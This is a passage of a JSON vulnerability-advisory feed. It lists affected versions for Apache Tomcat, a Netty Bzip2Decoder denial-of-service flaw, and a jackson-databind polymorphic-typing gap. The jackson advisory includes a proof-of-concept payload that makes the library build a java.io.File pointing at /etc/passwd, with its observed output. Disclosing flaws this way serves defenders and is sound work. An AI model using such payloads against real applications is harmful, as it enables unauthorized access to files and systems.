"11.0.0", "11.0.0-M1", "11.0.0-M10", "11.0.0-M11", "11.0.0-M12", "11.0.0-M13", "11.0.0-M14", "11.0.0-M15", "11.0.0-M16", "11.0.0-M17", "11.0.0-M18", "11.0.0-M19", "11.0.0-M20", "11.0.0-M21", "11.0.0-M22", "11.0.0-M24", "11.0.0-M25", "11.0.0-M26", "11.0.0-M3", "11.0.0-M4", "11.0.0-M5", "11.0.0-M6", "11.0.0-M7", "11.0.0-M9", "11.0.1", "11.0.10", "11.0.11", "11.0.12", "11.0.13", "11.0.14", "11.0.15", "11.0.18", "11.0.2", "11.0.20", "11.0.21", "11.0.22", "11.0.23", "11.0.24", "11.0.3", "11.0.4", "11.0.5", "11.0.6", "11.0.7", "11.0.8", "11.0.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "10.1.0-M1" }, { "fixed": "10.1.58" } ] } ], "versions": [ "10.1.0", "10.1.0-M1", "10.1.0-M10", "10.1.0-M11", "10.1.0-M12", "10.1.0-M14", "10.1.0-M15", "10.1.0-M16", "10.1.0-M17", "10.1.0-M2", "10.1.0-M4", "10.1.0-M5", "10.1.0-M6", "10.1.0-M7", "10.1.0-M8", "10.1.1", "10.1.10", "10.1.11", "10.1.12", "10.1.13", "10.1.14", "10.1.15", "10.1.16", "10.1.17", "10.1.18", "10.1.19", "10.1.2", "10.1.20", "10.1.23", "10.1.24", "10.1.25", "10.1.26", "10.1.28", "10.1.29", "10.1.30", "10.1.31", "10.1.33", "10.1.34", "10.1.35", "10.1.36", "10.1.39", "10.1.4", "10.1.40", "10.1.41", "10.1.42", "10.1.43", "10.1.44", "10.1.45", "10.1.46", "10.1.47", "10.1.48", "10.1.49", "10.1.5", "10.1.50", "10.1.52", "10.1.53", "10.1.54", "10.1.55", "10.1.56", "10.1.57", "10.1.6", "10.1.7", "10.1.8", "10.1.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "9.0.0-M1" }, { "fixed": "9.0.121" } ] } ], "versions": [ "9.0.0.M1", "9.0.0.M10", "9.0.0.M11", "9.0.0.M13", "9.0.0.M15", "9.0.0.M17", "9.0.0.M18", "9.0.0.M19", "9.0.0.M20", "9.0.0.M21", "9.0.0.M22", "9.0.0.M25", "9.0.0.M26", "9.0.0.M27", "9.0.0.M3", "9.0.0.M4", "9.0.0.M6", "9.0.0.M8", "9.0.0.M9", "9.0.1", "9.0.10", "9.0.100", "9.0.102", "9.0.104", "9.0.105", "9.0.106", "9.0.107", "9.0.108", "9.0.109", "9.0.11", "9.0.110", "9.0.111", "9.0.112", "9.0.113", "9.0.115", "9.0.116", "9.0.117", "9.0.118", "9.0.119", "9.0.12", "9.0.120", "9.0.13", "9.0.14", "9.0.16", "9.0.17", "9.0.19", "9.0.2", "9.0.20", "9.0.21", "9.0.22", "9.0.24", "9.0.26", "9.0.27", "9.0.29", "9.0.30", "9.0.31", "9.0.33", "9.0.34", "9.0.35", "9.0.36", "9.0.37", "9.0.38", "9.0.39", "9.0.4", "9.0.40", "9.0.41", "9.0.43", "9.0.44", "9.0.45", "9.0.46", "9.0.48", "9.0.5", "9.0.50", "9.0.52", "9.0.53", "9.0.54", "9.0.55", "9.0.56", "9.0.58", "9.0.59", "9.0.6", "9.0.60", "9.0.62", "9.0.63", "9.0.64", "9.0.65", "9.0.67", "9.0.68", "9.0.69", "9.0.7", "9.0.70", "9.0.71", "9.0.72", "9.0.73", "9.0.74", "9.0.75", "9.0.76", "9.0.78", "9.0.79", "9.0.8", "9.0.80", "9.0.81", "9.0.82", "9.0.83", "9.0.84", "9.0.85", "9.0.86", "9.0.87", "9.0.88", "9.0.89", "9.0.90", "9.0.91", "9.0.93", "9.0.94", "9.0.95", "9.0.96", "9.0.97", "9.0.98", "9.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "8.5.0" }, { "last_affected": "8.5.100" } ] } ], "versions": [ "8.5.0", "8.5.100", "8.5.11", "8.5.12", "8.5.13", "8.5.14", "8.5.15", "8.5.16", "8.5.19", "8.5.2", "8.5.20", "8.5.21", "8.5.23", "8.5.24", "8.5.27", "8.5.28", "8.5.29", "8.5.3", "8.5.30", "8.5.31", "8.5.32", "8.5.33", "8.5.34", "8.5.35", "8.5.37", "8.5.38", "8.5.39", "8.5.4", "8.5.40", "8.5.41", "8.5.42", "8.5.43", "8.5.45", "8.5.46", "8.5.47", "8.5.49", "8.5.5", "8.5.50", "8.5.51", "8.5.53", "8.5.54", "8.5.55", "8.5.56", "8.5.57", "8.5.58", "8.5.59", "8.5.6", "8.5.60", "8.5.61", "8.5.63", "8.5.64", "8.5.65", "8.5.66", "8.5.68", "8.5.69", "8.5.70", "8.5.71", "8.5.72", "8.5.73", "8.5.75", "8.5.76", "8.5.77", "8.5.78", "8.5.79", "8.5.8", "8.5.81", "8.5.82", "8.5.83", "8.5.84", "8.5.85", "8.5.86", "8.5.87", "8.5.88", "8.5.89", "8.5.9", "8.5.90", "8.5.91", "8.5.92", "8.5.93", "8.5.94", "8.5.95", "8.5.96", "8.5.97", "8.5.98", "8.5.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } }, { "package": { "name": "org.apache.tomcat.embed:tomcat-embed-core", "ecosystem": "Maven", "purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "7.0.0" }, { "last_affected": "7.0.109" } ] } ], "versions": [ "7.0.0", "7.0.100", "7.0.103", "7.0.104", "7.0.105", "7.0.106", "7.0.107", "7.0.108", "7.0.109", "7.0.11", "7.0.12", "7.0.14", "7.0.16", "7.0.19", "7.0.2", "7.0.20", "7.0.21", "7.0.22", "7.0.23", "7.0.25", "7.0.26", "7.0.27", "7.0.28", "7.0.29", "7.0.30", "7.0.32", "7.0.33", "7.0.34", "7.0.35", "7.0.37", "7.0.39", "7.0.4", "7.0.40", "7.0.41", "7.0.42", "7.0.47", "7.0.5", "7.0.50", "7.0.52", "7.0.53", "7.0.54", "7.0.55", "7.0.56", "7.0.57", "7.0.59", "7.0.6", "7.0.61", "7.0.62", "7.0.63", "7.0.64", "7.0.65", "7.0.67", "7.0.68", "7.0.69", "7.0.70", "7.0.72", "7.0.73", "7.0.75", "7.0.76", "7.0.77", "7.0.78", "7.0.79", "7.0.8", "7.0.81", "7.0.82", "7.0.84", "7.0.85", "7.0.86", "7.0.88", "7.0.90", "7.0.91", "7.0.92", "7.0.93", "7.0.94", "7.0.96", "7.0.99" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-gcx9-497g-6cp6/GHSA-gcx9-497g-6cp6.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ] }, { "id": "GHSA-grg4-wf29-r9vv", "summary": "Bzip2Decoder doesn't allow setting size restrictions for decompressed data", "details": "### Impact\nThe Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression).\n\n\nAll users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack\n\n### Workarounds\nNo workarounds other than not using the `Bzip2Decoder`\n\n### References\n\nRelevant code areas:\n\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305", "aliases": [ "CVE-2021-37136" ], "modified": "2026-07-08T06:29:40.316185909Z", "published": "2021-09-09T17:11:21Z", "database_specific": { "nvd_published_at": "2021-10-19T15:15:00Z", "cwe_ids": [ "CWE-400" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-09-09T14:36:56Z" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-grg4-wf29-r9vv" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37136" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/41d3d61a61608f2223bb364955ab2045dd5e4020" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujul2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpujan2022.html" }, { "type": "WEB", "url": "https://www.oracle.com/security-alerts/cpuapr2022.html" }, { "type": "WEB", "url": "https://www.debian.org/security/2023/dsa-5316" }, { "type": "WEB", "url": "https://security.netapp.com/advisory/ntap-20220210-0012" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00008.html" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rfb2bf8597e53364ccab212fbcbb2a4e9f0a9e1429b1dc08023c6868e@%3Cdev.tinkerpop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd262f59b1586a108e320e5c966feeafbb1b8cdc96965debc7cc10b16@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r75490c61c2cb7b6ae2c81238fd52ae13636c60435abcd732d41531a0@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5e05eba32476c580412f9fbdfc9b8782d5b40558018ac4ac07192a04@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r5406eaf3b07577d233b9f07cfc8f26e28369e6bab5edfcab41f28abb@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r06a145c9bd41a7344da242cef07977b24abe3349161ede948e30913d@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305" }, { "type": "WEB", "url": "https://github.com/netty/netty/blob/4.1/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" } ], "affected": [ { "package": { "name": "io.netty:netty-codec", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.68.Final" } ] } ], "versions": [ "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8", "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.42.Final", "4.1.43.Final", "4.1.44.Final", "4.1.45.Final", "4.1.46.Final", "4.1.47.Final", "4.1.48.Final", "4.1.49.Final", "4.1.5.Final", "4.1.50.Final", "4.1.51.Final", "4.1.52.Final", "4.1.53.Final", "4.1.54.Final", "4.1.55.Final", "4.1.56.Final", "4.1.57.Final", "4.1.58.Final", "4.1.59.Final", "4.1.6.Final", "4.1.60.Final", "4.1.61.Final", "4.1.62.Final", "4.1.63.Final", "4.1.64.Final", "4.1.65.Final", "4.1.66.Final", "4.1.67.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-grg4-wf29-r9vv/GHSA-grg4-wf29-r9vv.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.10.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-grg4-wf29-r9vv/GHSA-grg4-wf29-r9vv.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "last_known_affected_version_range": "< 4.0.0", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-grg4-wf29-r9vv/GHSA-grg4-wf29-r9vv.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-gx83-3vf8-gh7j", "summary": "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)", "details": "### Summary\n`DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n private final Set UNSAFE = new HashSet<>();\n {\n UNSAFE.add(Object.class.getName());\n UNSAFE.add(java.io.Closeable.class.getName());\n UNSAFE.add(java.io.Serializable.class.getName());\n UNSAFE.add(AutoCloseable.class.getName());\n UNSAFE.add(Cloneable.class.getName());\n UNSAFE.add(Runnable.class.getName()); // [databind#5014]\n UNSAFE.add(\"java.util.logging.Handler\");\n UNSAFE.add(\"javax.naming.Referenceable\");\n UNSAFE.add(\"javax.sql.DataSource\");\n // java.lang.Comparable is NOT present here\n }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n JavaType baseType, JavaType subType) {\n return true; // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class's own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable {\n public String name;\n public SafeThing() {}\n public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n public Comparable value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control — Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.", "aliases": [ "CVE-2026-83557" ], "modified": "2026-09-28T21:00:05.608227628Z", "published": "2026-09-28T20:44:25Z", "database_specific": { "github_reviewed_at": "2026-09-28T20:44:25Z", "nvd_published_at": "2026-09-01T15:17:37Z", "cwe_ids": [ "CWE-502", "CWE-915" ], "severity": "MODERATE", "github_reviewed": true }, "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83557" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6156" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6155" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "affected": [ { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" } }, { "package": { "name": "tools.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ] } ], "versions": [ "3.2.0", "3.2.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.11.0" }, { "fixed": "2.18.10" } ] } ], "versions": [ "2.11.0", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ] } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" } }, { "package": { "name": "com.fasterxml.jackson.core:jackson-databind", "ecosystem": "Maven", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ] } ], "versions": [ "2.22.0", "2.22.1" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L" } ] }, { "id": "GHSA-h3x4-894j-xpx5", "summary": "Apache Tomcat's FORM authentication process has an Incorrect Authorization vulnerability", "details": "Incorrect Authorization vulnerability in Apache Tomcat's FORM authentication process allows the bypassing of a security constraint that limits user has access to a resource POST but not GET.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120.\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.25, 10.1.58 or 9.0.121, which fixes the issue.", "aliases": [ "BIT-tomcat-2026-68525", "CVE-2026-68525" ], "modified": "2026-09-11T08:25:40.118635278Z", 